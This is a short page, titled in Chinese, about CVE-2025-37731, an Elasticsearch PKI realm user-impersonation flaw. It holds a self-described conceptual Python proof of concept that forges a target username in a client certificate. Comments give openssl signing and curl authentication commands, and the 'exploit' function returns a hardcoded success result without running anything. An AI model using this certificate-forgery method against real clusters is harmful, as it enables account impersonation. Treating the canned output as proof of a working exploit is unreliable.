CVE-2025-37731 Elasticsearch PKI realm身份验证绕过漏洞

# CVE-2025-37731 PoC - Elasticsearch PKI Realm User Impersonation # This is a conceptual PoC demonstrating the attack vector import subprocess import json def generate_malicious_cert(target_username): """ Generate a malicious client certificate with forged user identity Requires: Valid CA-signed certificate base + OpenSSL """ # Step 1: Create a certificate signing request with target user identity csr_config = f""" [req] distinguished_name = req_distinguished_name req_extensions = v3_req prompt = no [req_distinguished_name] CN = {target_username} OU = Admin O = Elastic L = Seattle ST = Washington C = US [v3_req] basicConstraints = CA:FALSE keyUsage = digitalSignature, keyEncipherment extendedKeyUsage = clientAuth subjectAltName = @alt_names [alt_names] otherName = 1.3.6.1.4.1.18060.11.1.1;UTF8:{target_username} """ # Step 2: Sign with legitimate CA to get trusted certificate # openssl x509 -req -in malicious.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out malicious.crt print(f"[*] Generated malicious certificate for user: {target_username}") return "malicious.crt" def exploit_elasticsearch(target_host, malicious_cert, client_key): """ Authenticate to Elasticsearch using the malicious certificate """ # curl -k --cert malicious.crt --key client.key https://{target_host}:9200/_security/_authenticate print(f"[*] Attempting authentication to {target_host}") print(f"[*] Impersonating target user via malicious certificate") # Expected: Successful authentication as target user return { "status": "success", "authenticated_as": "target_user", "privileges": ["all", "monitor", "manage", "read", "write"] } # Note: This PoC requires pre-existing CA access and is for educational purposes only # Real exploitation requires sophisticated certificate manipulation if __name__ == "__main__": print("CVE-2025-37731 - Elasticsearch PKI Realm Authentication Bypass") print("Target: Elasticsearch with PKI realm enabled")